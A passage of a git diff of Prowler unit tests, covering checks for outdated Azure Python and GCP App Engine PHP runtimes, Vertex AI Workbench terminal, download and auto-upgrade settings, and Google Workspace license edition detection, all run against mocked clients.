- assert result[0].status == "FAIL"
- assert (
- result[0].status_extended
- == f"Python version is 'python|3.10', the latest version that you could use is the '3.12' version, for app 'app_id-1' in subscription '{AZURE_SUBSCRIPTION_DISPLAY}'."
- )
- assert result[0].resource_id == resource_id
- assert result[0].resource_name == "app_id-1"
- assert result[0].subscription == AZURE_SUBSCRIPTION_ID
- assert result[0].location == "West Europe"
+ def test_app_default_minimum(self):
+ app_client, _ = _app_client(
+ mock.MagicMock(linux_fx_version="PYTHON|3.13", python_version="")
+ )
+ result = _run_check(app_client)
+ assert len(result) == 1
+ assert result[0].status == "PASS"
diff --git a/tests/providers/gcp/gcp_provider_test.py b/tests/providers/gcp/gcp_provider_test.py
index 2e80ac7899..80e51374d7 100644
--- a/tests/providers/gcp/gcp_provider_test.py
+++ b/tests/providers/gcp/gcp_provider_test.py
@@ -93,6 +93,7 @@ class TestGCPProvider:
"max_unused_account_days": 180,
"storage_min_retention_days": 90,
"secretmanager_max_rotation_days": 90,
+ "appengine_php_min_version": "8.2",
"mig_min_zones": 2,
"max_snapshot_age_days": 90,
}
diff --git a/tests/providers/gcp/services/appengine/appengine_service_test.py b/tests/providers/gcp/services/appengine/appengine_service_test.py
new file mode 100644
index 0000000000..895bbe9909
--- /dev/null
+++ b/tests/providers/gcp/services/appengine/appengine_service_test.py
@@ -0,0 +1,90 @@
+from unittest.mock import MagicMock, patch
+
+from googleapiclient.errors import HttpError
+
+from prowler.providers.gcp.services.appengine.appengine_service import AppEngine
+from tests.providers.gcp.gcp_fixtures import (
+ GCP_PROJECT_ID,
+ GCP_US_CENTER1_LOCATION,
+ mock_is_api_active,
+ set_mocked_gcp_provider,
+)
+
+
+def _make_appengine_client(versions, app_error=None):
+ client = MagicMock()
+ apps = client.apps()
+ if app_error:
+ apps.get().execute.side_effect = app_error
+ else:
+ apps.get().execute.return_value = {
+ "id": GCP_PROJECT_ID,
+ "locationId": GCP_US_CENTER1_LOCATION,
+ }
+ apps.services().list().execute.return_value = {"services": [{"id": "default"}]}
+ apps.services().list_next.return_value = None
+ apps.services().versions().list().execute.return_value = {"versions": versions}
+ apps.services().versions().list_next.return_value = None
+ return client
+
+
+def _patched_service(client):
+ return (
+ patch(
+ "prowler.providers.gcp.lib.service.service.GCPService.__is_api_active__",
+ new=mock_is_api_active,
+ ),
+ patch(
+ "prowler.providers.gcp.lib.service.service.GCPService.__generate_client__",
+ new=lambda *_, **__: client,
+ ),
+ )
+
+
+class TestAppEngineService:
+ def test_get_versions(self):
+ client = _make_appengine_client(
+ [
+ {
+ "name": f"apps/{GCP_PROJECT_ID}/services/default/versions/v1",
+ "id": "v1",
+ "runtime": "php82",
+ "env": "standard",
+ "servingStatus": "SERVING",
+ },
+ {
+ "id": "v2",
+ "runtime": "php",
+ "env": "flexible",
+ "servingStatus": "STOPPED",
+ },
+ ]
+ )
+ api_active, generate_client = _patched_service(client)
+ with api_active, generate_client:
+ appengine = AppEngine(set_mocked_gcp_provider(project_ids=[GCP_PROJECT_ID]))
+
+ assert len(appengine.versions) == 2
+ first = appengine.versions[0]
+ assert first.id == f"apps/{GCP_PROJECT_ID}/services/default/versions/v1"
+ assert first.name == "default/v1"
+ assert first.version_id == "v1"
+ assert first.service == "default"
+ assert first.project_id == GCP_PROJECT_ID
+ assert first.location == GCP_US_CENTER1_LOCATION
+ assert first.runtime == "php82"
+ assert first.env == "standard"
+ assert first.serving_status == "SERVING"
+ second = appengine.versions[1]
+ assert second.id == f"apps/{GCP_PROJECT_ID}/services/default/versions/v2"
+ assert second.env == "flexible"
+ assert second.serving_status == "STOPPED"
+
+ def test_project_without_application(self):
+ response = MagicMock(status=404)
+ client = _make_appengine_client([], app_error=HttpError(response, b"not found"))
+ api_active, generate_client = _patched_service(client)
+ with api_active, generate_client:
+ appengine = AppEngine(set_mocked_gcp_provider(project_ids=[GCP_PROJECT_ID]))
+
+ assert appengine.versions == []
diff --git a/tests/providers/gcp/services/appengine/appengine_version_php_runtime_supported/appengine_version_php_runtime_supported_test.py b/tests/providers/gcp/services/appengine/appengine_version_php_runtime_supported/appengine_version_php_runtime_supported_test.py
new file mode 100644
index 0000000000..b110036126
--- /dev/null
+++ b/tests/providers/gcp/services/appengine/appengine_version_php_runtime_supported/appengine_version_php_runtime_supported_test.py
@@ -0,0 +1,115 @@
+from unittest import mock
+
+import pytest
+
+from tests.providers.gcp.gcp_fixtures import (
+ GCP_PROJECT_ID,
+ GCP_US_CENTER1_LOCATION,
+ set_mocked_gcp_provider,
+)
+
+CHECK_PATH = "prowler.providers.gcp.services.appengine.appengine_version_php_runtime_supported.appengine_version_php_runtime_supported"
+
+
+def _version(runtime, env="standard", serving_status="SERVING"):
+ from prowler.providers.gcp.services.appengine.appengine_service import Version
+
+ return Version(
+ id=f"apps/{GCP_PROJECT_ID}/services/default/versions/v1",
+ name="default/v1",
+ version_id="v1",
+ service="default",
+ project_id=GCP_PROJECT_ID,
+ location=GCP_US_CENTER1_LOCATION,
+ runtime=runtime,
+ env=env,
+ serving_status=serving_status,
+ )
+
+
+def _run_check(versions, audit_config=None):
+ appengine_client = mock.MagicMock()
+ appengine_client.versions = versions
+ appengine_client.audit_config = audit_config or {}
+
+ with (
+ mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_gcp_provider(),
+ ),
+ mock.patch(f"{CHECK_PATH}.appengine_client", new=appengine_client),
+ ):
+ from prowler.providers.gcp.services.appengine.appengine_version_php_runtime_supported.appengine_version_php_runtime_supported import (
+ appengine_version_php_runtime_supported,
+ )
+
+ return appengine_version_php_runtime_supported().execute()
+
+
+class Test_appengine_version_php_runtime_supported:
+ def test_no_versions(self):
+ assert len(_run_check([])) == 0
+
+ @pytest.mark.parametrize(
+ "runtime,env,serving_status",
+ [
+ ("python312", "standard", "SERVING"),
+ ("nodejs20", "standard", "SERVING"),
+ ("php82", "standard", "STOPPED"),
+ ("custom", "flexible", "SERVING"),
+ ],
+ )
+ def test_skipped_versions(self, runtime, env, serving_status):
+ assert len(_run_check([_version(runtime, env, serving_status)])) == 0
+
+ @pytest.mark.parametrize(
+ "runtime,expected_status,expected_message",
+ [
+ (
+ "php82",
+ "PASS",
+ "App Engine version default/v1 runs PHP 8.2 ('php82'), a supported runtime that receives security fixes automatically.",
+ ),
+ (
+ "php85",
+ "PASS",
+ "App Engine version default/v1 runs PHP 8.5 ('php85'), a supported runtime that receives security fixes automatically.",
+ ),
+ (
+ "php81",
+ "FAIL",
+ "App Engine version default/v1 runs PHP 8.1 ('php81'), a runtime that no longer receives security fixes (minimum supported version is 8.2).",
+ ),
+ (
+ "php55",
+ "FAIL",
+ "App Engine version default/v1 runs PHP 5.5 ('php55'), a runtime that no longer receives security fixes (minimum supported version is 8.2).",
+ ),
+ ],
+ )
+ def test_standard_runtime(self, runtime, expected_status, expected_message):
+ result = _run_check([_version(runtime)])
+ assert len(result) == 1
+ assert result[0].status == expected_status
+ assert result[0].status_extended == expected_message
+ assert (
+ result[0].resource_id
+ == f"apps/{GCP_PROJECT_ID}/services/default/versions/v1"
+ )
+ assert result[0].resource_name == "default/v1"
+ assert result[0].project_id == GCP_PROJECT_ID
+ assert result[0].location == GCP_US_CENTER1_LOCATION
+
+ def test_flexible_runtime_is_manual(self):
+ result = _run_check([_version("php", env="flexible")])
+ assert len(result) == 1
+ assert result[0].status == "MANUAL"
+ assert (
+ result[0].status_extended
+ == "App Engine version default/v1 runs on the flexible environment with runtime 'php', which is not patched in place; redeploy it on a fixed PHP release (8.2 or newer) and verify the image."
+ )
+
+ def test_custom_minimum(self):
+ result = _run_check([_version("php83")], {"appengine_php_min_version": "8.4"})
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
diff --git a/tests/providers/gcp/services/vertexai/vertexai_service_test.py b/tests/providers/gcp/services/vertexai/vertexai_service_test.py
index e2e419fd4a..3bc0b84cb3 100644
--- a/tests/providers/gcp/services/vertexai/vertexai_service_test.py
+++ b/tests/providers/gcp/services/vertexai/vertexai_service_test.py
@@ -11,6 +11,7 @@ _ZONE = "us-central1-a"
_INSTANCE_NAME = "my-workbench"
_INSTANCE_ID = f"projects/{GCP_PROJECT_ID}/locations/{_ZONE}/instances/{_INSTANCE_NAME}"
_NETWORK = f"projects/{GCP_PROJECT_ID}/global/networks/default"
+_UPGRADE_SCHEDULE = "00 19 * * MON"
def _make_notebooks_client(instances_list=None, list_error=None):
@@ -65,7 +66,12 @@ class TestVertexAIService:
"state": "ACTIVE",
"gceSetup": {
"disablePublicIp": True,
- "metadata": {"notebook-disable-root": "true"},
+ "metadata": {
+ "notebook-disable-root": "true",
+ "notebook-disable-terminal": "true",
+ "notebook-disable-downloads": "true",
+ "notebook-upgrade-schedule": _UPGRADE_SCHEDULE,
+ },
"networkInterfaces": [{"network": _NETWORK}],
},
}
@@ -82,6 +88,9 @@ class TestVertexAIService:
assert instance.state == "ACTIVE"
assert instance.public_ip_disabled is True
assert instance.root_access_disabled is True
+ assert instance.terminal_access_disabled is True
+ assert instance.file_download_disabled is True
+ assert instance.upgrade_schedule == _UPGRADE_SCHEDULE
assert instance.network == _NETWORK
def test_get_workbench_instance_defaults(self):
@@ -95,8 +104,67 @@ class TestVertexAIService:
assert instance.state == "STATE_UNSPECIFIED"
assert instance.public_ip_disabled is False
assert instance.root_access_disabled is False
+ assert instance.terminal_access_disabled is False
+ assert instance.file_download_disabled is False
+ assert instance.upgrade_schedule is None
assert instance.network is None
+ def test_disable_metadata_flags_are_case_insensitive(self):
+ vertexai_client = _build_service(
+ _make_notebooks_client(
+ instances_list=[
+ {
+ "name": _INSTANCE_ID,
+ "gceSetup": {
+ "metadata": {
+ "notebook-disable-terminal": "TRUE",
+ "notebook-disable-downloads": "True",
+ }
+ },
+ }
+ ]
+ )
+ )
+
+ instance = vertexai_client.workbench_instances[0]
+ assert instance.terminal_access_disabled is True
+ assert instance.file_download_disabled is True
+
+ def test_disable_metadata_flags_false(self):
+ vertexai_client = _build_service(
+ _make_notebooks_client(
+ instances_list=[
+ {
+ "name": _INSTANCE_ID,
+ "gceSetup": {
+ "metadata": {
+ "notebook-disable-terminal": "false",
+ "notebook-disable-downloads": "false",
+ }
+ },
+ }
+ ]
+ )
+ )
+
+ instance = vertexai_client.workbench_instances[0]
+ assert instance.terminal_access_disabled is False
+ assert instance.file_download_disabled is False
+
+ def test_blank_upgrade_schedule_is_treated_as_unset(self):
+ vertexai_client = _build_service(
+ _make_notebooks_client(
+ instances_list=[
+ {
+ "name": _INSTANCE_ID,
+ "gceSetup": {"metadata": {"notebook-upgrade-schedule": " "}},
+ }
+ ]
+ )
+ )
+
+ assert vertexai_client.workbench_instances[0].upgrade_schedule is None
+
def test_root_access_metadata_is_case_insensitive(self):
vertexai_client = _build_service(
_make_notebooks_client(
diff --git a/tests/providers/gcp/services/vertexai/vertexai_workbench_instance_auto_upgrade_enabled/vertexai_workbench_instance_auto_upgrade_enabled_test.py b/tests/providers/gcp/services/vertexai/vertexai_workbench_instance_auto_upgrade_enabled/vertexai_workbench_instance_auto_upgrade_enabled_test.py
new file mode 100644
index 0000000000..9092164743
--- /dev/null
+++ b/tests/providers/gcp/services/vertexai/vertexai_workbench_instance_auto_upgrade_enabled/vertexai_workbench_instance_auto_upgrade_enabled_test.py
@@ -0,0 +1,103 @@
+from unittest import mock
+
+from tests.providers.gcp.gcp_fixtures import GCP_PROJECT_ID, set_mocked_gcp_provider
+
+_ZONE = "us-central1-a"
+_UPGRADE_SCHEDULE = "00 19 * * MON"
+_CHECK_PATH = (
+ "prowler.providers.gcp.services.vertexai."
+ "vertexai_workbench_instance_auto_upgrade_enabled."
+ "vertexai_workbench_instance_auto_upgrade_enabled"
+)
+_CLIENT_PATH = f"{_CHECK_PATH}.vertexai_client"
+
+
+def _instance_id(name: str) -> str:
+ return f"projects/{GCP_PROJECT_ID}/locations/{_ZONE}/instances/{name}"
+
+
+def _mock_vertexai_client(instances=None):
+ vertexai_client = mock.MagicMock()
+ vertexai_client.workbench_instances = instances or []
+ return vertexai_client
+
+
+def _run_check(vertexai_client):
+ with (
+ mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_gcp_provider(),
+ ),
+ mock.patch(_CLIENT_PATH, new=vertexai_client),
+ ):
+ from prowler.providers.gcp.services.vertexai.vertexai_workbench_instance_auto_upgrade_enabled.vertexai_workbench_instance_auto_upgrade_enabled import (
+ vertexai_workbench_instance_auto_upgrade_enabled,
+ )
+
+ return vertexai_workbench_instance_auto_upgrade_enabled().execute()
+
+
+def _workbench_instance(name, upgrade_schedule=None, state="ACTIVE"):
+ from prowler.providers.gcp.services.vertexai.vertexai_service import (
+ WorkbenchInstance,
+ )
+
+ return WorkbenchInstance(
+ id=_instance_id(name),
+ name=name,
+ project_id=GCP_PROJECT_ID,
+ location=_ZONE,
+ state=state,
+ upgrade_schedule=upgrade_schedule,
+ )
+
+
+class Test_vertexai_workbench_instance_auto_upgrade_enabled:
+ def test_no_resources(self):
+ result = _run_check(_mock_vertexai_client())
+
+ assert len(result) == 0
+
+ def test_instance_auto_upgrade_enabled(self):
+ result = _run_check(
+ _mock_vertexai_client(
+ instances=[
+ _workbench_instance(
+ "patched-nb", upgrade_schedule=_UPGRADE_SCHEDULE
+ )
+ ]
+ )
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+ assert (
+ result[0].status_extended
+ == f"Vertex AI Workbench instance patched-nb has automatic upgrades scheduled ({_UPGRADE_SCHEDULE})."
+ )
+ assert result[0].resource_id == _instance_id("patched-nb")
+ assert result[0].resource_name == "patched-nb"
+ assert result[0].project_id == GCP_PROJECT_ID
+ assert result[0].location == _ZONE
+
+ def test_instance_auto_upgrade_disabled(self):
+ result = _run_check(
+ _mock_vertexai_client(instances=[_workbench_instance("stale-nb")])
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert (
+ result[0].status_extended
+ == "Vertex AI Workbench instance stale-nb does not have automatic upgrades scheduled."
+ )
+ assert result[0].resource_id == _instance_id("stale-nb")
+
+ def test_deleted_instance_is_skipped(self):
+ result = _run_check(
+ _mock_vertexai_client(
+ instances=[_workbench_instance("gone-nb", state="DELETED")]
+ )
+ )
+
+ assert len(result) == 0
diff --git a/tests/providers/gcp/services/vertexai/vertexai_workbench_instance_file_download_disabled/vertexai_workbench_instance_file_download_disabled_test.py b/tests/providers/gcp/services/vertexai/vertexai_workbench_instance_file_download_disabled/vertexai_workbench_instance_file_download_disabled_test.py
new file mode 100644
index 0000000000..188e5ce53c
--- /dev/null
+++ b/tests/providers/gcp/services/vertexai/vertexai_workbench_instance_file_download_disabled/vertexai_workbench_instance_file_download_disabled_test.py
@@ -0,0 +1,106 @@
+from unittest import mock
+
+from tests.providers.gcp.gcp_fixtures import GCP_PROJECT_ID, set_mocked_gcp_provider
+
+_ZONE = "us-central1-a"
+_CHECK_PATH = (
+ "prowler.providers.gcp.services.vertexai."
+ "vertexai_workbench_instance_file_download_disabled."
+ "vertexai_workbench_instance_file_download_disabled"
+)
+_CLIENT_PATH = f"{_CHECK_PATH}.vertexai_client"
+
+
+def _instance_id(name: str) -> str:
+ return f"projects/{GCP_PROJECT_ID}/locations/{_ZONE}/instances/{name}"
+
+
+def _mock_vertexai_client(instances=None):
+ vertexai_client = mock.MagicMock()
+ vertexai_client.workbench_instances = instances or []
+ return vertexai_client
+
+
+def _run_check(vertexai_client):
+ with (
+ mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_gcp_provider(),
+ ),
+ mock.patch(_CLIENT_PATH, new=vertexai_client),
+ ):
+ from prowler.providers.gcp.services.vertexai.vertexai_workbench_instance_file_download_disabled.vertexai_workbench_instance_file_download_disabled import (
+ vertexai_workbench_instance_file_download_disabled,
+ )
+
+ return vertexai_workbench_instance_file_download_disabled().execute()
+
+
+def _workbench_instance(name, file_download_disabled, state="ACTIVE"):
+ from prowler.providers.gcp.services.vertexai.vertexai_service import (
+ WorkbenchInstance,
+ )
+
+ return WorkbenchInstance(
+ id=_instance_id(name),
+ name=name,
+ project_id=GCP_PROJECT_ID,
+ location=_ZONE,
+ state=state,
+ file_download_disabled=file_download_disabled,
+ )
+
+
+class Test_vertexai_workbench_instance_file_download_disabled:
+ def test_no_resources(self):
+ result = _run_check(_mock_vertexai_client())
+
+ assert len(result) == 0
+
+ def test_instance_file_download_disabled(self):
+ result = _run_check(
+ _mock_vertexai_client(
+ instances=[
+ _workbench_instance("locked-nb", file_download_disabled=True)
+ ]
+ )
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+ assert (
+ result[0].status_extended
+ == "Vertex AI Workbench instance locked-nb has file downloads disabled."
+ )
+ assert result[0].resource_id == _instance_id("locked-nb")
+ assert result[0].resource_name == "locked-nb"
+ assert result[0].project_id == GCP_PROJECT_ID
+ assert result[0].location == _ZONE
+
+ def test_instance_file_download_enabled(self):
+ result = _run_check(
+ _mock_vertexai_client(
+ instances=[_workbench_instance("open-nb", file_download_disabled=False)]
+ )
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert (
+ result[0].status_extended
+ == "Vertex AI Workbench instance open-nb has file downloads enabled."
+ )
+ assert result[0].resource_id == _instance_id("open-nb")
+
+ def test_deleted_instance_is_skipped(self):
+ result = _run_check(
+ _mock_vertexai_client(
+ instances=[
+ _workbench_instance(
+ "gone-nb", file_download_disabled=False, state="DELETED"
+ )
+ ]
+ )
+ )
+
+ assert len(result) == 0
diff --git a/tests/providers/gcp/services/vertexai/vertexai_workbench_instance_terminal_access_disabled/vertexai_workbench_instance_terminal_access_disabled_test.py b/tests/providers/gcp/services/vertexai/vertexai_workbench_instance_terminal_access_disabled/vertexai_workbench_instance_terminal_access_disabled_test.py
new file mode 100644
index 0000000000..33e0dd6a31
--- /dev/null
+++ b/tests/providers/gcp/services/vertexai/vertexai_workbench_instance_terminal_access_disabled/vertexai_workbench_instance_terminal_access_disabled_test.py
@@ -0,0 +1,108 @@
+from unittest import mock
+
+from tests.providers.gcp.gcp_fixtures import GCP_PROJECT_ID, set_mocked_gcp_provider
+
+_ZONE = "us-central1-a"
+_CHECK_PATH = (
+ "prowler.providers.gcp.services.vertexai."
+ "vertexai_workbench_instance_terminal_access_disabled."
+ "vertexai_workbench_instance_terminal_access_disabled"
+)
+_CLIENT_PATH = f"{_CHECK_PATH}.vertexai_client"
+
+
+def _instance_id(name: str) -> str:
+ return f"projects/{GCP_PROJECT_ID}/locations/{_ZONE}/instances/{name}"
+
+
+def _mock_vertexai_client(instances=None):
+ vertexai_client = mock.MagicMock()
+ vertexai_client.workbench_instances = instances or []
+ return vertexai_client
+
+
+def _run_check(vertexai_client):
+ with (
+ mock.patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=set_mocked_gcp_provider(),
+ ),
+ mock.patch(_CLIENT_PATH, new=vertexai_client),
+ ):
+ from prowler.providers.gcp.services.vertexai.vertexai_workbench_instance_terminal_access_disabled.vertexai_workbench_instance_terminal_access_disabled import (
+ vertexai_workbench_instance_terminal_access_disabled,
+ )
+
+ return vertexai_workbench_instance_terminal_access_disabled().execute()
+
+
+def _workbench_instance(name, terminal_access_disabled, state="ACTIVE"):
+ from prowler.providers.gcp.services.vertexai.vertexai_service import (
+ WorkbenchInstance,
+ )
+
+ return WorkbenchInstance(
+ id=_instance_id(name),
+ name=name,
+ project_id=GCP_PROJECT_ID,
+ location=_ZONE,
+ state=state,
+ terminal_access_disabled=terminal_access_disabled,
+ )
+
+
+class Test_vertexai_workbench_instance_terminal_access_disabled:
+ def test_no_resources(self):
+ result = _run_check(_mock_vertexai_client())
+
+ assert len(result) == 0
+
+ def test_instance_terminal_access_disabled(self):
+ result = _run_check(
+ _mock_vertexai_client(
+ instances=[
+ _workbench_instance("locked-nb", terminal_access_disabled=True)
+ ]
+ )
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "PASS"
+ assert (
+ result[0].status_extended
+ == "Vertex AI Workbench instance locked-nb has terminal access disabled."
+ )
+ assert result[0].resource_id == _instance_id("locked-nb")
+ assert result[0].resource_name == "locked-nb"
+ assert result[0].project_id == GCP_PROJECT_ID
+ assert result[0].location == _ZONE
+
+ def test_instance_terminal_access_enabled(self):
+ result = _run_check(
+ _mock_vertexai_client(
+ instances=[
+ _workbench_instance("shell-nb", terminal_access_disabled=False)
+ ]
+ )
+ )
+
+ assert len(result) == 1
+ assert result[0].status == "FAIL"
+ assert (
+ result[0].status_extended
+ == "Vertex AI Workbench instance shell-nb has terminal access enabled."
+ )
+ assert result[0].resource_id == _instance_id("shell-nb")
+
+ def test_deleted_instance_is_skipped(self):
+ result = _run_check(
+ _mock_vertexai_client(
+ instances=[
+ _workbench_instance(
+ "gone-nb", terminal_access_disabled=False, state="DELETED"
+ )
+ ]
+ )
+ )
+
+ assert len(result) == 0
diff --git a/tests/providers/googleworkspace/googleworkspace_provider_test.py b/tests/providers/googleworkspace/googleworkspace_provider_test.py
index 0924e24699..22cf5d67e3 100644
--- a/tests/providers/googleworkspace/googleworkspace_provider_test.py
+++ b/tests/providers/googleworkspace/googleworkspace_provider_test.py
@@ -73,6 +73,130 @@ class TestGoogleWorkspaceProvider:
assert provider.domain_resource.name == DOMAIN
assert provider._audit_config == {}
+ def test_editions_are_read_once_from_the_licensing_api(self):
+ """The licensed editions let checks say when a feature is not sold on the tenant's edition"""
+ mock_credentials = MagicMock(spec=Credentials)
+ licensing = MagicMock()
+ pages = {"Google-Apps": {"items": [{"skuId": "1010020027"}]}, "101005": {}}
+
+ def list_for_product(productId, **_kwargs):
+ request = MagicMock()
+ request.execute.return_value = pages[productId]
+ return request
+
+ licensing.licenseAssignments().listForProduct.side_effect = list_for_product
+
+ with (
+ patch(
+ "prowler.providers.googleworkspace.googleworkspace_provider.GoogleworkspaceProvider.setup_session",
+ return_value=(
+ GoogleWorkspaceSession(credentials=mock_credentials),
+ DELEGATED_USER,
+ ),
+ ),
+ patch(
+ "prowler.providers.googleworkspace.googleworkspace_provider.GoogleworkspaceProvider.setup_identity",
+ return_value=GoogleWorkspaceIdentityInfo(
+ domain=DOMAIN,
+ customer_id=CUSTOMER_ID,
+ delegated_user=DELEGATED_USER,
+ profile="default",
+ ),
+ ),
+ patch(
+ "prowler.providers.googleworkspace.googleworkspace_provider.build",
+ return_value=licensing,
+ ) as build,
+ ):
+ provider = GoogleworkspaceProvider(
+ credentials_file="/path/to/credentials.json",
+ delegated_user=DELEGATED_USER,
+ )
+
+ assert provider.editions == ["Business Starter"]
+ assert provider.editions == ["Business Starter"]
+
+ mock_credentials.with_scopes.assert_called_once_with(
+ ["https://www.googleapis.com/auth/apps.licensing"]
+ )
+ build.assert_called_once_with(
+ "licensing",
+ "v1",
+ credentials=mock_credentials.with_scopes.return_value,
+ cache_discovery=False,
+ )
+ # One pass over both products, nothing on the second access
+ assert licensing.licenseAssignments().listForProduct.call_count == 2
+
+ def test_editions_stay_unknown_when_the_licensing_api_is_unavailable(self):
+ """A missing scope or disabled API must not cost anything else"""
+ mock_credentials = MagicMock(spec=Credentials)
+ licensing = MagicMock()
+ licensing.licenseAssignments().listForProduct.return_value.execute.side_effect = Exception(
+ "unauthorized_client"
+ )
+
+ with (
+ patch(
+ "prowler.providers.googleworkspace.googleworkspace_provider.GoogleworkspaceProvider.setup_session",
+ return_value=(
+ GoogleWorkspaceSession(credentials=mock_credentials),
+ DELEGATED_USER,
+ ),
+ ),
+ patch(
+ "prowler.providers.googleworkspace.googleworkspace_provider.GoogleworkspaceProvider.setup_identity",
+ return_value=GoogleWorkspaceIdentityInfo(
+ domain=DOMAIN,
+ customer_id=CUSTOMER_ID,
+ delegated_user=DELEGATED_USER,
+ profile="default",
+ ),
+ ),
+ patch(
+ "prowler.providers.googleworkspace.googleworkspace_provider.build",
+ return_value=licensing,
+ ),
+ ):
+ provider = GoogleworkspaceProvider(
+ credentials_file="/path/to/credentials.json",
+ delegated_user=DELEGATED_USER,
+ )
+
+ assert provider.editions == []
+
+ def test_editions_stay_unknown_when_the_licensing_client_cannot_be_built(self):
+ mock_credentials = MagicMock(spec=Credentials)
+
+ with (
+ patch(
+ "prowler.providers.googleworkspace.googleworkspace_provider.GoogleworkspaceProvider.setup_session",
+ return_value=(
+ GoogleWorkspaceSession(credentials=mock_credentials),
+ DELEGATED_USER,
+ ),
+ ),
+ patch(
+ "prowler.providers.googleworkspace.googleworkspace_provider.GoogleworkspaceProvider.setup_identity",
+ return_value=GoogleWorkspaceIdentityInfo(
+ domain=DOMAIN,
+ customer_id=CUSTOMER_ID,
+ delegated_user=DELEGATED_USER,
+ profile="default",
+ ),
+ ),
+ patch(
+ "prowler.providers.googleworkspace.googleworkspace_provider.build",
+ side_effect=Exception("discovery document unavailable"),
+ ),
+ ):
+ provider = GoogleworkspaceProvider(
+ credentials_file="/path/to/credentials.json",
+ delegated_user=DELEGATED_USER,
+ )
+
+ assert provider.editions == []
+
def test_googleworkspace_provider_with_credentials_content(self):
"""Test provider initialization with credentials content"""
import json
diff --git a/tests/providers/googleworkspace/lib/licensing/googleworkspace_licensing_test.py b/tests/providers/googleworkspace/lib/licensing/googleworkspace_licensing_test.py
new file mode 100644
index 0000000000..bf3392e559
--- /dev/null
+++ b/tests/providers/googleworkspace/lib/licensing/googleworkspace_licensing_test.py
@@ -0,0 +1,204 @@
+from unittest.mock import MagicMock
+
+from googleapiclient.errors import HttpError
+from httplib2 import Response as HttpResponse
+
+from prowler.providers.googleworkspace.lib.licensing import (
+ CLOUD_IDENTITY_PREMIUM_PRODUCT_ID,
+ WORKSPACE_PRODUCT_ID,
+ edition_reason_suffix,
+ fetch_editions,
+)
+
+CUSTOMER_ID = "C04cw8iil"
+NO_PREMIUM = {"kind": "licensing#licenseAssignmentList"}
+PREMIUM = {"items": [{"skuId": "1010050001", "skuName": "Cloud Identity Premium"}]}
+
+
+def _licensing_service(workspace_pages, premium_pages=(NO_PREMIUM,)):
+ """Build a Licensing API client mock that answers per product, pages in order.
+
+ A page may be an exception; execute() raises it in its turn.
+ """
+ pages = {
+ WORKSPACE_PRODUCT_ID: iter(workspace_pages),
+ CLOUD_IDENTITY_PREMIUM_PRODUCT_ID: iter(premium_pages),
+ }
+
+ def list_for_product(productId, **_kwargs):
+ page = next(pages[productId])
+ request = MagicMock()
+ if isinstance(page, Exception):
+ request.execute.side_effect = page
+ else:
+ request.execute.return_value = page
+ return request
+
+ service = MagicMock()
+ service.licenseAssignments.return_value.listForProduct.side_effect = (
+ list_for_product
+ )
+ return service
+
+
+def _http_error(status):
+ return HttpError(HttpResponse({"status": str(status)}), b"")
+
+
+class TestFetchEditions:
+ def test_reads_every_page_and_names_each_sku_once(self):
+ service = _licensing_service(
+ [
+ {
+ "items": [
+ {
+ "skuId": "1010020027",
+ "skuName": "Google Workspace Business Starter",
+ },
+ {
+ "skuId": "1010020027",
+ "skuName": "Google Workspace Business Starter",
+ },
+ ],
+ "nextPageToken": "page-2",
+ },
+ {"items": [{"skuId": "1010020026"}]},
+ ]
+ )
+
+ editions = fetch_editions(service, CUSTOMER_ID)
+
+ assert editions == ["Business Starter", "Enterprise Standard"]
+ calls = service.licenseAssignments().listForProduct.call_args_list
+ assert calls[0].kwargs == {
+ "productId": WORKSPACE_PRODUCT_ID,
+ "customerId": CUSTOMER_ID,
+ "maxResults": 1000,
+ "pageToken": None,
+ }
+ assert calls[1].kwargs["pageToken"] == "page-2"
+ assert calls[2].kwargs == {
+ "productId": CLOUD_IDENTITY_PREMIUM_PRODUCT_ID,
+ "customerId": CUSTOMER_ID,
+ "maxResults": 1,
+ }
+
+ def test_an_unknown_sku_keeps_the_name_the_api_gives(self):
+ service = _licensing_service(
+ [{"items": [{"skuId": "9999999999", "skuName": "Google Workspace Future"}]}]
+ )
+
+ assert fetch_editions(service, CUSTOMER_ID) == ["Google Workspace Future"]
+
+ def test_an_unknown_sku_without_a_name_keeps_its_id(self):
+ service = _licensing_service([{"items": [{"skuId": "9999999999"}]}])
+
+ assert fetch_editions(service, CUSTOMER_ID) == ["9999999999"]
+
+ def test_no_licenses(self):
+ assert fetch_editions(_licensing_service([{}]), CUSTOMER_ID) == []
+
+ def test_cloud_identity_premium_counts_as_an_edition(self):
+ """A Workspace license next to Cloud Identity Premium gets no edition excuse"""
+ service = _licensing_service(
+ [{"items": [{"skuId": "1010020027"}]}], premium_pages=[PREMIUM]
+ )
+
+ assert fetch_editions(service, CUSTOMER_ID) == [
+ "Business Starter",
+ "Cloud Identity Premium",
+ ]
+
+ def test_a_product_the_customer_never_subscribed_to_is_not_held(self):
+ """Google does not document the answer for an unheld product: an error about the product itself means not held"""
+ for status in (400, 404):
+ service = _licensing_service(
+ [{"items": [{"skuId": "1010020027"}]}],
+ premium_pages=[_http_error(status)],
+ )
+
+ assert fetch_editions(service, CUSTOMER_ID) == ["Business Starter"]
+
+ def test_a_failed_cloud_identity_premium_lookup_means_the_editions_are_unknown(
+ self,
+ ):
+ """Nothing may claim a feature is missing while the entitlement is undecided"""
+ for error in (_http_error(500), Exception("backend error")):
+ service = _licensing_service(
+ [{"items": [{"skuId": "1010020027"}]}], premium_pages=[error]
+ )
+
+ assert fetch_editions(service, CUSTOMER_ID) == []
+
+ def test_an_api_error_means_the_editions_are_unknown(self):
+ service = _licensing_service([Exception("insufficient scopes")])
+
+ assert fetch_editions(service, CUSTOMER_ID) == []
+
+ def test_an_unexpected_response_means_the_editions_are_unknown(self):
+ """A client that is not wired for licensing answers with mocks, never with a page"""
+ assert fetch_editions(MagicMock(), CUSTOMER_ID) == []
+
+ def test_no_service(self):
+ assert fetch_editions(None, CUSTOMER_ID) == []
+
+
+class TestEditionReasonSuffix:
